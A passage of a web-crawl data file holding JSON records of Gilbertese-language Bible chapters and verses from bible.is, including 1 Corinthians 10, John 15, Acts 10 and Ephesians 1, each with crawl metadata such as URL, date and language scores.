i buakoia. N ai aron are koreaki ni kangai, \"A tekateka aomata b'a a na am'arake ma ni moi, ao a tei rake b'a a na m'am'aie.\" 8Ao ti na tai wene ni bure, n ai aroia tem'angina i buakoia ngke a wene ni bure, ao a mate uarebu ma teninga 9Ao ti na tai kataa te UEA, n ai aroia tem'angina i buakoia ngke a kataia, ao a tiringaki irouia naeta. 10Ao kam na tai ngurengure, n ai aroia tem'angina i buakoia ngke a ngurengure, ao a tiringaki iroun Aneran te Mate. 11A bane n roko baikekei i rouia b'a b'aai n reirei i bukira, ao a riki i bukin reireiara, ngaira aika ti maiu n te tai ae a kaan ma te toki. 12Ma ngaia aei, b'a ane taku n ana iango b'a e tei matoa, ao e na tarataraia b'a e kawa ni b'aka. 13Te kataaki ae e a tia n roko i roumi boni ngaia naba are e roko irouia aomata nako. Ma E kakaonimaki te Atua, ao E na bon aki kariaingkami b'a kam na kataaki i aon ami kona; ma n te tai are kam kataaki iai, ao E na karekea naba te anga are kam na butaki nako maiai, b'a kam aonga ni kona n taon nanomi. 14Ma ngaia aei, ngkami aika kam tangiraki i rou, kam na bon aki taromauria te bouannanti. 15I taetae nako imi ngkai kanga ai aroia aomata aika wanawana ngkami; kam na kareke ami baire n au taeka. 16Ngke ti moi man te m'angko are ti tataro i bukina b'a e na kakab'aia te Atua, tiaki anne te i buokanib'ai n raraani Kristo? Ao ngke ti kana te berena are ti urua, tiaki anne te i buokanib'ai n rab'atani Kristo? 17Ngkai ti teuana te berena, ao ngaira aika ti bati, bon te rab'ata ae ti teuana: b'a ti bane ni buokanib'ai n te berena ae ti teuana. 18Kam na tarai aroia te botannaomata ae Iteraera: tiaki b'a a buokanib'ai n te taromauri n anga-karea aia koraki ake a kang am'arake ake karea? 19Tera ae I nanonna ngkanne n au taeka? I nanona iai kakawakini karean te bouannanti, ke kakawakin te bouannanti? 20I aki, ma ae I nanonna: b'a baike a anga beekan b'a aia karea a anga nakoia taimonio, ma tiaki nakon te Atua; ao I aki tangiringkami b'a kam na buokanib'ai ma taimonio. 21Kam aki kona ni moi man ana m'angko te UEA ao man aia m'angko taimonio. Kam aki kona n uaia n am'arake n ana taibora te UEA ma aia taibora naba taimonio. 22Ke ti tangira ae E na un te UEA? Ti korakora riki nako Ina? 23A atoatonga ae kangai tem'angina i buakomi: \"Ti uki ni karaoi b'aai nako.\" Tao e koaua, ma a aki bane b'aai ni manena ao a aki bane naba ni kateimatoa te aba. 24Ke e na aki iangoia te aomata i bon i rouna n te baere e na karaoia, ma e na iangoia tem'angina. 25Kam na kang am'arake nako akana kaboaki man te tabo ni kabo iriko-maiu n aki neneri taekaia i bukini mataniwin nanomi. 26B'a e kangai te B'aib'ara: \"Bon ana b'ai te UEA aaba nako ma kanoaia.\" 27Ngkana e kaoingkami temanna i buakoia ake a aki onimaki nakon ana am'arake, ao ngkana kam kan nako, ao kam na kang am'arake nako ake a kaki i matami, n aki neneri taekaia, i bukini mataniwin nanomi. 28Ma ngkana e kangai temanna nako imi, \"Aio are e tiringaki b'a te karea,\" ao kam na tai kanna i bukin teuare kaotia, ao i bukin naba mataniwin te nano. 29Ae I taekinna, tiaki mataniwin nanom, ma mataniwin nanon teuarei. \"B'a bukin tera ngkae e na baireaki aron inaomatau ni mataniwin nanon temanna? 30Ngkana I katituaraoa te Atua i bukini kanau are I kanna, ao bukin tera b'a N na taeka buaka n te am'arake are I katituaraoi iai i bukina?\" 31Ma ngaia aei, b'a ngkana kam am'arake ke kam moi, ke kam karaoa riki te b'ai teuana, ao kam na karaoi ni kabane i bukin neboakin te Atua. 32Tai karaoa te bae e na riki b'a te kanganga nakoia I-Iutaia, ke I-Erene, ke ana ekaretia te Atua; 33n ai arou naba ngkai I kakukureia aomata ni kabaneia ni b'aai ni kabane aika I karaoi, n aki ukoukora ae iai manenana nako iu; ma I ukoukora ae iai manenana nakoia aomata aika bati, b'a a aonga ni kamaiuaki.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/10","date":"2016-12-08T09:23:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542455.45\/warc\/CC-MAIN-20161202170902-00482-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":901,"character_repetition_ratio":0.061,"word_repetition_ratio":0.009,"special_characters_ratio":0.255,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tiaki te b'ai ae kainanoaki b'a N na koroboki nako imi i bukin taekan te m'akuri are karaoaki i bukiia ake a itiaki i Iutaia; 2b'a I ata nanomi ni kan anga, are I kamoamoaingkami iai nakoia I-M'aketonia ngke I taekina ae a kaman tauraoi taan onimaki i Akaia ni kan i buobuoki man te ririki are nako; ao a bati i buakoia aika kaungaaki nanoia n nanokorakorami. 3Aei bukin ae N na kanakoa iai Tito ma taari aika uoman nako imi, b'a e kawa n akea nanoni kamoamoara i roumi n te baei, ao b'a kam aonga n tauraoi n ami buobuoki. 4B'a ngkana tao a irai I-M'aketonia, ao a nora ae kam tuai n tauraoi, ao ti na bon rangi ni mamaa, n aki taekina mamaami, i bukin arora n onimakiningkami. 5Ma ngaia are I taku b'a e riai b'a N na butiia taari aikai b'a a na rimoau nako imi, ni katauraoia i m'aiu te b'ai n tituaraoi are kam a tia ni kab'aka ami taeka iai b'a kam na karekea, b'a e aonga n tauraoi b'a te b'ai ae aki kairoroaki ma te b'ai ae nako man nanomi. 6Ao uringa aei: ane kamaaea n unika ae ti teuana, ao e na taia ae ti teutana; ao ane kamaaea n unika ae bati, ao e na taia ae bati. 7E na angab'ai te aomata n ai aron are e taku, tiaki man te nano ae rawawata ke n te aro ni kairoro; b'a te Atua E tangira te aomata ae anga ma nanona ae kukurei. 8Ao E kona te Atua ni kabati b'aai n akoi ni kabane nako imi, b'a e aonga n reke i roumi n tai nako te toronib'ai ni b'aai ni kabane, b'a kam aonga ni kabati m'akuri nako aika raraoi; 9n ai aron are koreaki ni kangai: \"E anga ma te nano n akoi nakoia akana akea aia b'ai; E teimatoa arona n tituaraoi n aki toki.\" 10Ao Teuare angan te tia ununiki te koraa ma te am'arake b'a kanana, E na anganingkami te koraa ni kam'aitia b'a kam na unikia, ao E na kabati uaan ami tituaraoi. 11Kam na kaub'ai ni b'aai nako b'a kam aonga n teimatoa n aromi n tituaraoi n tai nako, b'a a aonga ni bati aomata aika na katituaraoa te Atua i bukin ami b'ai n akoi aika karekei mai roura. 12B'a te m'akuri ae kam karaoia aei e aki ti katoki kain nanoia ake a itiaki, ma e kariki naba katituaraoan te Atua aika m'aiti. 13I bukin te m'akuri aei, are e a kakoauaki iai aromi, ao kam na neboa te Atua i bukin tataekinan euangkerioni Kristo iroumi ma ongeabami nako ia, ao i bukin naba ami tituaraoi n aromi ni buokanib'ai ma ngaiia ao aomata nako; 14ao ngaiia a tataro i bukimi ao a noringkami, i bukin ana akoi te Atua ae rangi ni bati i aomi. 15E na katituaraoaki te Atua i bukin ana b'ai n tituaraoi are aki konaki ni kab'arab'araaki arona.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/9","date":"2016-12-04T05:05:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541187.54\/warc\/CC-MAIN-20161202170901-00181-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":500,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1\"Ngai te kai ae te kureebe ni koaua, ao Tamau te tia ribana. 2Te m'aanga ae nim ma Ngai ae e aki uaa, ao E kanakoa; ao te m'aanga ae uaa, E kaitiakia, b'a e aonga ni kariki uaana aika m'aiti. 3Ao ngkami, kam a kaman tia ni kaitiakaki n te taeka are I a tia n atongnga nakoimi. 4Kam na teimatoa n nim ma Ngai, ao N na teimatoa n nim ma ngkami. Akea te m'aanga ae kona ni kariki uaa i bon i rouna, ngkana e aki nim ma botona; ao ai aromi naba, kam aki kona ni kariki uaa, ngkana kam aki nim ma Ngai. 5\"Ngai te kai ae te kureebe, ao ngkami m'aangana. Ane nim ma Ngai, ao I nim ma ngaia, ao e na kariki uaa aika bati; b'a akea te b'ai ae kam kona ni karaoia ngkana akea Ngai. 6Ane aki nim ma Ngai, ao e teweaki nako n ai aron te m'anga, ao e rai. A bobotaki aeka ni m'anga aikai, ao a teweaki nako nanon te ai, ao a bue. 7Ngkana kam teimatoa n nim ma Ngai, ao a tiku au taeka i nanomi, ao kam na bubuti baika kam tangiri, ao a na reke iroumi. 8E neboaki Tamau n ami kariki uaa aika bati, ao n rikimi b'a au reirei. 9I tangiringkami n ai aron Tamau ngkae E tangirai; kam na teimatoa n nim ma Ngai b'a e aonga n aki bua tangirami irou. 10Ngkana kam ongeaba nakon au tua nako, ao e na bon aki bua mairou tangirami; n ai arou ngkai I ongeaba nakon ana tua nako Tamau, ao e aki bua tangirau i rouna. 11\"I atongi baikai nakoimi, b'a e aonga n reke iroumi te kim'areirei ae ti te bo ma ae e reke irou, ao b'a e aonga ni koro raoi kim'areireimi. 12Aio au tua: kam na i tangitangiri, n ai arou ngkai I tangiringkami. 13Akea te tangira ae korakora riki iroun te aomata nakon ae te anga maiuna i bukiia raona. 14Raou ngkami, ngkana kam karaoi baika I tuangngkami. 15I aki manga atongngkami b'a tooro, b'a te toro e aki ata ane e karaoia ana uea; ma I atongngkami b'a raao, i bukina b'a I a tia n tuangngkami b'aai ni kabane ake I ongo iroun Tamau. 16Kam aki rineai; ma I rineingkami, ao I bairei ami m'akuri, b'a kam na nako ni kariki uaa aika bati, ao a na aki mauna uaami; ma ngaia are ngkana iai te bae kam butiia iai Tamau n arau, ao E na anganingkami. 17I tuangngkami aei: kam na i tangitangiri. 18\"Ngkana e ribaingkami te aba, ao kam na ataia b'a e a tia n ribaai i m'ain ae e ribaingkami. 19Ngkana ana b'ai te aba ngkami, ao e na tangiringkami b'a e tangiriia ana b'ai; ma ngkai tiaki ana b'ai te aba ngkami, ao I rineingkami mai iai, ao bon aei bukina ae e ribaingkami iai te aba. 20Kam na uringa te taeka are I atongnga nakoimi are kaangai, 'E aki kakannato riki te toro nakon ana uea.' Ngke a b'ainikirinai, ao a na boni b'ainikiriningkami naba; ngke a ongeaba nakon au taeka, ao a na bon ongeaba naba nakon ami taeka. 21Ma ane a na karaoi baikai ni kabane nakoimi i bukin arau, b'a a aki ata Teuare kanakomaiai. 22Ngke tao I aki roko n taetae nakoia, ao a na akea i rouia namakinani mwin aia bure; ma ngkai, ai bon akea aonaia i bukin aia bure. 23Ane ribaai, ao e riba naba Tamau. 24Ngke tao I aki karaoi i buakoia b'aai aika aki kakaraoaki ma rimoa iroun te aomata, ao a na bon akea i rouia namakinani mwin aia bure; ma ngkai, a tia n norai ma Tamau ao a ribaira. 25Ma e riki aei, b'a e na kakoroaki bukin te taeka are koreaki ni kaangai n aia Tua: 'Akea bukin ribaau i rouia.' 26\"Ma ngkana E roko te Tia Buobuoki, are te Tamnei 27Ao ngkami naba taani kakoaua, b'a kam a tia ni memena irou mai moana.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/John\/15","date":"2016-12-04T06:47:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541214.23\/warc\/CC-MAIN-20161202170901-00145-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":672,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngkana E roko ara Uea are Iesu Kristo, ao ti na bane n ikotaki n uotaki rake nako Ina; ma ngaia ae I butingkami, taari, 2b'a kam na tai kam'aeieiaki n ami iango, ao kam na tai kakiriweaki irouia aomata aika taku b'a e a tia n roko ana bong te Uea. A kona n taku b'a tao a ongo aei mairoun te Tamnei are Raoiroi, ke mairoun temanna, ke a boni warekia n ara reta teuana. 3E na tai burebureingkami temanna n te aro teuana: b'a e bon aki kona n roko te bong arei ngkana e tuai n roko moa te tai are a na ekaanako iai te Atua aomata aika bati, ao ngkana e tuai ni kaoti teuare buakaka, are kanan te mate. 4E na ekianako nako akana atongaki b'a atua ni kabaneia ma baika taromauriaki, ao e na rin n tekateka n um'antabun te Atua ma n taetae ni kaotia b'a aongkoa te Atua ngaia. 5Kam aki uringnga b'a ngke I mena i roumi ao I tuangngkami baikai? 6Ao kam bon ata te b'ai ae tutuka teuare buakaka b'a e aonga ni kaotaki n ana tai. 7B'a e a kamani waki te m'akuri n riri aon te tua n te aro ae aki konaki ni kab'arab'araaki raoi taekana; ma te baere e na riki e na aki kona n riki ni karokoa e uotaki nako teuare tutukia b'a e na aki riki, 8ao i mwina ngkanne, e na kaotaki teuare te tia ri aon te tua, are e na kamateaki iroun te Uea are Iesu n ikeni wina, ma ni kamaunaki ni mimitongin rokona. 9E na roko te tia ri aon te tua ma m'aakan Tatan ao e na karaoi taiani kanikina ma kamimii ni kewe. 10Ao e na kamanenai aaro ni m'am'anaai ni kabane aika buakaka nakoia te koraki ake a nangi boni mate, i bukin aroia n rawa n anganaki tangiran te koaua are a na kamaiuaki iai. 11Ma ngaia ae te Atua E kanakoa m'aakan te kairua b'a e na m'am'akuri i nanoia b'a a aonga ni kakoaua te kewe; 12ao b'a a aonga ni bane n atongaki b'a a bure akana rawa nakon te koaua, ma a kukurei n te buakaka. 13Ma e riai b'a ti na katituaraoa te Atua n taai nako i bukimi, taari, akana kam tangiraki iroun te Uea. I bukina b'a E a tia n rineingkami te Atua b'a moan aomata ake a ana kamaiuaki ni m'aakana iroun Tamneina 14E weteingkami nakon aei te Atua n te euangkerio are ti taekinna, b'a kam aonga ni buokanib'ai ma ara Uea are Iesu Kristo n neboakina. 15Ma ngaia ae kam na tei matoa, taari, ao kam na tauu taian taeka ake kam reireiaki iai, tao n ara taeka, ke tao n ara reta; 16ao ara Uea are Iesu Kristo ma te Atua ae Tamara are tangirira, ma n akoira n anganira kabebetean te nano ae aki toki, ma te kaantaninga ae raoiroi, 17E na kaninikoriai ma ni kateimatoai nanomi ni m'akuri ni kabane aika raraoi, ma taeka nako aika raraoi.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/2Thess\/2","date":"2016-12-05T17:29:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541773.2\/warc\/CC-MAIN-20161202170901-00441-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":511,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Ami onimaki ma ami m'akuri aika kam karaoi b'a kanga ibonga ai aron te karea nakon te Atua; ao tao N na kamateaki, ao n te aro aei N na riki b'a ai aron te karea are te raraa are kab'aroaki i aon te karea. Ngkana arona b'a e riki aei, ao N na boni kim'areirei, ao N na kim'areirei ma ngkami;\nBIRIBI 2:17\nFREE!\nOne App.\n1218 Languages.","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/17","date":"2017-01-21T20:36:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560281202.94\/warc\/CC-MAIN-20170116095121-00220-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":67,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.28,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:1515B'a e kangai te B'aib'ara: \"Ngkana kam ongo b'anaan te Atua n te bong aei, ao kam na tai kamatoatoai nanomi, n ai aroia te koraki ake a rawa ngkoa ni kani kairaki.\" Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/15","date":"2017-01-22T13:23:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560281424.85\/warc\/CC-MAIN-20170116095121-00005-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":0.9999107122,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999107122421265}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAREKO 13:44A titirakinna ni kangai, \"Tuangiira b'a a na riki baikanne n ningai? Ao tera te b'ai ae ti na ataia iai b'a e a roko te tai are a nang kakoroaki iai bukini baikanne?\" Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13\/4","date":"2017-01-24T05:29:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560284270.95\/warc\/CC-MAIN-20170116095124-00456-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":0.9999088049,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999088048934937}","num_words":50,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai te aomata temanna i Kaitareia, ae arana Korenerio, ae mataniwin te taanga ni buaka teuana ae tebubua kaaina, are aranaki b'a te Taanga ni buaka mai Itare.\" 2E kakaonimaki Korenerio nakon ana kaantaninga te Atua, ao e rangi ni karinea te Atua, ti te bo arona ma kaain ana utu; e aki toki n angaanga b'aai n tituaraoi, ao e b'aina te tatataro nakon te Atua. 3Ngke tao te aoa tenua n te tanimaeaontaai, ao kanga e kamiiaki: e nora raoi ana anera te Atua b'a e rin n te tabo are e mena iai, ao e kaangai nakoina, \"Korenerio!\" 4Ao ngaia e kam'ataua taraana ma te maaku ae bati, ao e taku, \"Te uea, tera?\" Ao e kaeka te anera ni kangai, \"E kukurei te Atua i roum n am tataro ao n am b'ai nako n tituaraoi, ao E ongo i roum. 5Ko na kanakoia aomata ngkai nako Iobe, b'a a na kaira mai Timon are arana teuana Betero. 6E maeka iroun Timon are te tia karaoi b'aai mani kunin te man, are e mena ana auti i rarikin tari.\" 7Ngke e nako te anera are taetae nakoina, ao ngaia e weteia uoman mai rouia taani m'akuri n ana auti, ao temanna mai rouia ana tautia ake a buobuokia, ae e kakaonimaki nakon ana kaantaninga te Atua. 8E kab'arab'arai b'aai ni kabane nakoia, ao e kanakoia nako Iobe. 9Ngke e a ingabong, ngke a m'ananga i aoni kawaia ao a kaania te kaawa, ao e rierake Betero nako aon taubukin te auti b'a e na tataro iai, tao e a tawanou. 10E taonaki n te baki, ao e kan am'arake; ao ngke a kume raona ni katauraoa te am'arake, ao ngaia kaanga e kamiiaki. 11E nora karawa b'a e kaukaki, ao te b'ai teuana ae ruo, ae kanga ai aron taraan te rabuna ae ab'ab'aki, ae bae tabona ma tabona ni maninganingana ake aua, ao e nnaki rikaaki nako aontano. 12Ao a bane ni mena i nanona manin aonnaba aika kakaeai waeia, ma maan aika kawakawa, ma mannikiba. 13E roko i rouna te b'ana ae kaangai, \"Betero, teirake, tiring, ao kaang!\" 14Ma e taku Betero, \"Te UEA, I aki kona; b'a I tuai ni kana te b'ai teuana ae aki itiaki ke ae kam'ara.\" 15Ao e a manga roko naba i rouna te b'ana arei, ao e kaangai, \"Ane E kaitiakia te Atua, ao tai atongnga ngkoe b'a e aki itiaki.\" 16Tenua ana tai n roko te b'ana arei, ao e a waekoa naba ni katikaki rake neni b'aai akekei nako karawa. 17Ngke e tabe Betero ni mimi n ana iango b'a tera nanon te baere kanga te mii are e noria, ao akea b'a a tei i rarikini mataroan te kawai n rin n ana auti Timon aomata ake a kanakoaki irouni Korenerio, b'a a tia n ata nen ana auti. 18A weewete ao a titiraki, Iai te iruwa ae mena ikai ae arana Timon ao arana naba teuana Betero? 19Ao ngke e tabe Betero n iangoia b'a tera nanon te baere kanga te mii arei, ao e taku te Tamnei nakoina, \"Noria! a ukoukoriko teniman aomata. 20Ma an teirake, ao ruo n iriia n aki nanokokoraki teutana, b'a boni Ngai ae I kanakomaia.\" 21Ao e ruo Betero nakoia aomata akekei, ao e kaangai, \"Norai, boni ngai te aomata are kam ukoukoria. Tera bukin rokomi?\" 22Ao ngaiia a kaangai, \"Teuare Korenerio, are mataniwin te taanga ni buaka are tebubua kaaina, ae te aomata ae e raoiroi, ae rangi ni karinea te Atua, ae e kakamoamoaki arona irouia I-Iutaia ni kabaneia b'a te aomata ngaia ae e raoiroi, e tuangaki iroun ana anera te Atua b'a e na kaoko nakon ana auti b'a e na ongora n taeka mai roum.\" 23E kariniia ngkanne uakekei Betero, ao e katikuia i rouna. Ngke e a ingabong ao e katauraoia Betero, ao e iriia; iai taari tabem'aang aika I-Iobe ake a ira Betero. 24Ao ngke e a manga ingabong ao a roko i Kaitareia. E a kamani botiia ana bu Korenerio ma raoraona ake e rangi n reitaki ma ngaiia, ao a tiku ni kakantaninga rokoia. 25Ma ngaia are, ngke e nangi rin Betero, ao e butim'aia Korenerio ni b'aka i rarikini waena, ao e bobaraaki ni kaota karineana ae moan te bati. 26Ma e kateirakea Betero, ao e kaangai, \"Tei rake, bon te aomata naba ngai.\" 27Ngke e kume n taetae Betero ma Korenerio ao e rin, ao e nooriia aomata b'a a botaki. 28E taku nakoia, \"E ataaki iroumi b'a e aki riai n taekan te tua, b'a te aomata ae te I-Iutaia e na i raorao ma kaain te aba teuana, ke e na kawaria; ma E a tia te Atua ni kaotia nako iu b'a akea te aomata temanna ae N na atongnga b'a e aki itiaki ke e kam'ara. 29Ma ngaia ae I a roko b'a kam kaoai, ao I aki rawa. I a kan ataia ngkanne mai roumi, b'a tera bukini kaoau iroumi?\" 30Ao e taku Korenerio, \"Tao n te tai naba aei tenua te bong n nako, ao I tabe n tataro n au auti n te aoa tenua n te tanimaeaontaai, ao akea b'a e tei te aomata temanna i matau ma kunnikaina ae raneanea, 31ao e kaangai, 'Korenerio! E ongo am tataro te Atua, ao a ururingaki am m'akuri n tituaraoi i matana. 32Ma ngaia ae ko na kanakoia aomata nako Iobe ni kaoa Timon, are arana teuana Betero; e maeka n ana auti Timon, ae te tia karaoi b'aai mani kunin te man, ae e tei ana auti i rarikin taari.' 33Ma ngaia are, I a kanakoia naba aomata nako im; ao iai nanom ae e raoiroi b'a ko roko. Ma ngaia ae ti bane ni mena ikai i matan te Atua, b'a ti na ongora ni b'aai ni kabane ake ko tuangaki mairoun te UEA.\" 34Ao e kaurea wina Betero, ao e taku, I ataia b'a bon te koaua b'a E aki nanonano te Atua. 35E kukurei iroun ane iai i rouna karineana ae moan te bati, ao e kakaraoa ae e raoiroi, e aoria b'a kaain te botannaomata ra ngaia. 36Kam ata te taeka are E kanakoa te Atua nakoia te botannaomata ae Iteraera, are taekan euangkerion te raoi i nanon Iesu Kristo, are aia UEA aomata ni kabaneia. 37Arei te taeka are e karakinaki i aon Iutaia ni kabuta, ni moa mai Kariraia i mwin te b'abetito are e tataekinna Ioane. 38Bon taekan aron te Atua ngke E rinea Iesu are te I-Natareta, ao E kaonna n te Tamnei are Raoiroi ma te m'aaka; are E nakonako ni kakaraoa ae e raoiroi, ma ni kamaiuia akana b'ainikirinaki iroun te riaboro, b'a E memena te Atua i rouna. 39Ao bon taani kakoaua ngaira nakoni b'aai ni kabane ake E karaoi i abaia I-Iutaia, ao i Ierutarem. Ao a tiringnga ngke a tauria n te kaibangaki. 40Bon aei Teuare E a manga kamaiua te Atua n te katenibong, ao E kanakoa b'a E na kaotia; 41Tiaki nakoia aomata ni kabaneia, ma E kaotia ti nako ira, ngaira aika taani kakoaua aika ti a kaman rineaki iroun te Atua, aika ti am'arake ao ti moi ma Ngaia i mwini maiuna mai buakoia maate. 42Ao E tuangiira b'a ti na tataekina te euangkerio nakoia aomata, ao ti na kaotiotia b'a boni Ngaia are rineaki iroun te Atua b'a te tia motiki taekaia akana maiu ma akana mate. 43A bane burabeti ni kaotiota taekan Iesu, b'a ane onimakinna ao e na reke i rouna kab'aran ana bure n arana. 44Ngke e kume n taetae Betero, ao E ruo te Tamnei are Raoiroi i aoia aomata ni kabaneia ake a ongora n ana taeka te Atua. 45A mimi I-Iutaia ake a onimakina Iesu, ake raoni Betero n roko mai Iobe, b'a E nurakina naba te b'ai n tituaraoi are te Tamnei are Raoiroi te Atua i aoia aomata aika tiaki I-Iutaia; 46B'a a ongo i rouia ngke a taetae n taetae aika aki ataaki nanoia, ao ngke a neboa te Atua. E kaekaia ngkanne Betero, ao e taku, 47\"E a reke irouia aomata aikai te Tamnei are Raoiroi n ai arora naba. Iai tukaia b'a a na aki kona ni b'abetitoaki n te ran arei?\" 48Ao e tua Betero b'a a na b'abetitoaki n aran Iesu Kristo. A butiia ngkanne Betero b'a e na tiku i rouia tabe bong.\nCopyright","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/10","date":"2017-01-18T20:04:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280319.10\/warc\/CC-MAIN-20170116095120-00510-ip-10-171-10-70.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1397,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro, ae ana tia tuatua Kristo Iesu n nanon te Atua, nakoia ake a itiaki ake i Ebeto ake a teimatoa ni katiteuanaki ma Kristo Iesu ni maiuia: 2Ami b'ai te akoaki ma te rau mairoun te Atua are Tamara, ma te UEA are Iesu Kristo. 3E na karaoiroaki te Atua are Taman ara UEA are Iesu Kristo, are E kakab'aiaira iroun Kristo ni b'aai ni kakab'aia ni kabane ake mai Rouna, ake b'aini karawa. 4B'a i m'aini karikan aonnaba ao E a kaman rineira i bukina ngkai katiteuanaki ma Kristo, b'a ti aonga n itiaki ma n aki bareka i matana; ao n ana tangira, 5E a kaman tia ni baireia, n ai aroni kukurein nanona, b'a ti na natinaki i rouna iroun Iesu Kristo. 6Ti na neboa te Atua b'a E rangi n tituaraoi nako ira i bukin Natina are tatangiraki i rouna, 7are ti karekea te kainaomataaki i rouna n raraana are nanona b'a a kab'araki ara bure. Ai m'aitira ana akoi, 8are E kabatia n akoira iai! B'a n te rabakau ni kabanea ma te ataib'ai, 9ao E a tia ni kaota nako ira nanona ae raba, n ai aron nanona are E tangiria, are E a kamani baireia i nanona; 10ana baire aei, are E na katia karaoana ngkana e koro raoi bongina, bon te booti b'aai ni kabane aika karikaki, aika b'aini karawa ma b'ain aonnaba, b'a a na reitaki ma Kristo ao a na taraia b'a atuia Ngaia. 11A bane b'aai nako ni karaoaki n ai aron nanon te Atua ma ana babaire; ao E a tia te Atua n rineira b'a ana aomata, ngkai ti katiteuanaki ma Kristo, i bukin oin nanona n ai aron are E a kaman tia ni baireia ma ngkoa mani moan rikini b'aai; 12b'a ti aonga ni kamoamoa mimitongina, ngaira aika ti moa n onimakina Kristo. 13Ao ngkami naba, ngke kam ongo taekan te koaua, are te euangkerio are b'aini kamaiuami, ao kam onimakinna naba; ao kam anganaki te Tamnei are Raoiroi b'a kanikinaean ae ana b'ai te Atua ngkami, te Tamnei aei are atongaki n te taeka n akoi. 14Ngkai ti anganaki te Tamnei ao ti aki nanokokoraki b'a a na bon reke iroura baike E a tia te Atua n taekin b'a E na anganiia ana aomata; ao n tokina E na anganiia ake ana b'ai te kainaomataaki man te bure, b'a e aonga ni kamoamoaki mimitongina. 15Ma ngaia aei, ngke I ongo taekan aromi n onimakina te UEA are Iesu, ma taekan tangiraia ake a itiaki iroumi, 16ao I aki toki naba ni katituaraoa te Atua i bukimi, ma n ururingkami n au tataro, 17b'a te Tama ae mimitong, are Atuan ara UEA are Iesu Kristo, E na anganingkami te Tamnei are E na kawanawanaingkami, ma ni kaota te Atua nakoimi b'a kam aonga n ataia; 18ngkai a kaotaki matan nanomi b'a kam aonga n ataia b'a tera te kaantaninga n ana weewete, tera te kab'aia ae 